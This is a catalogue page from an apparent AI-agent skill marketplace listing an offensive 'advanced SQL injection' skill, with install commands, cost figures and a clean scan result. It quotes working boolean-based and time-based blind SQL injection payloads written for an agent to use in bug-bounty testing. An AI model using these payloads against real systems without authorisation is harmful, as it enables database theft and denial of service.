Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/advanced-sql-injection-sqliWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/advanced-sql-injection-sqli)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/advanced-sql-injection-sqli"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/advanced-sql-injection-sqli/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/advanced-sql-injection-sqli"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/advanced-sql-injection-sqli.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00069 | $0.02360 |
| Opus 5.5 | $0.00028 | $0.00944 |
| Sonnet 5.5 | $0.00014 | $0.00472 |
| Haiku 4.5 | $0.00007 | $0.00236 |
Grade A, and why
advanced-sql-injection-sqli scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to advanced-sql-injection-sqli — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 179 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Advanced SQL Injection (SQLi)
When to Use
- When basic error-based or UNION-based SQL payloads (
' OR 1=1--) are filtered or fail to return visible results. - When attacking modern frameworks where data is stored now but executed in a different query later (Second-Order SQLi).
- To exfiltrate data from heavily firewalled environments via DNS using Out-of-Band (OOB) techniques.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Boolean-Based Blind SQLi
-- Concept: The application returns NO database errors, and NO queried data.
-- However, it returns a slightly different HTTP response (e.g., "User exists" vs "User does not exist")
-- depending on if a trailing SQL condition is TRUE or FALSE.
-- 1. Identify the difference:
-- Payload True: `id=1' AND 1=1--` -> Returns HTTP 200 OK (Content length 500)
-- Payload False: `id=1' AND 1=0--` -> Returns HTTP 404 (Content length 200)
-- 2. Extract data one character at a time (Binary Search / Fuzzing):
-- "Is the first letter of the database name 'a'?"
id=1' AND SUBSTRING(database(),1,1)='a'--
-- Using ASCII conversion to easily script greater/less than checks:
-- "Is the first letter's ASCII value > 100?"
id=1' AND ASCII(SUBSTRING(database(),1,1)) > 100--
-- If the page loads normally (HTTP 200), the answer is YES. If 404, the answer is NO.
Phase 2: Time-Based Blind SQLi
-- Concept: The application is COMPLETELY blind. It always returns the exact same HTML,
-- regardless of True or False statements. We force the database to PAUSE execution if a statement is True.
-- 1. PostgreSQL Time Delay Payload:
id=1'; SELECT pg_sleep(10)--
-- If the server takes exactly 10 seconds to respond, it is vulnerable to SQL injection.
-- 2. Extracting data via Time (MySQL example):
-- "If the first letter of the DB is 'A', sleep for 5 seconds. Otherwise, return immediately."
id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=65, SLEEP(5), 0)--
-- Warning: Time-based SQLi is extremely slow and can cause Denial of Service (DoS)
-- if sleep commands pile up on high-traffic pages. Use carefully.
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 179 lines · 69 tokens per session scan A 9e523facec56
advanced-sql-injection-sqli is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (25 stars, last pushed 7mo ago), licensed Apache-2.0. It adds 69 tokens to every session and 2,360 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. It is 100% identical to advanced-sql-injection-sqli, differing in 0 lines, and is treated as a copy.
advanced-sql-injection-sqli compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| advanced-sql-injection-sqliakashrpatil/awesome-offensive-security-skills | Skill | 25 | 7mo ago | Apache-2.0 | A | 69 | Claude Code |
| advanced-sql-injection-sqliShulkwiSEC/bb-huge | Skill | 27 | 4mo ago | MIT | A | 69 | Claude Code, Codex |
| dom-based-cross-site-scripting-xssShulkwiSEC/bb-huge | Skill | 27 | 4mo ago | MIT | A | 52 | Claude Code, Codex |
| django-sql-injectionShulkwiSEC/bb-huge | Skill | 27 | 4mo ago | MIT | A | 53 | Claude Code, Codex |
| webapp-sqlmapAgentSecOps/SecOpsAgentKit | Skill | 239 | 7mo ago | none | A | 95 | Claude Code, Codex |
| dotnet-sql-auditjinyimeng01/net-code-audit-skill-master | Skill | 7 | 6mo ago | MulanPSL-2.0 | A | 67 | Codex |
| sqli-poczebbern/termstack | Skill | 4 | 7mo ago | none | A | 42 | Claude Code, Codex |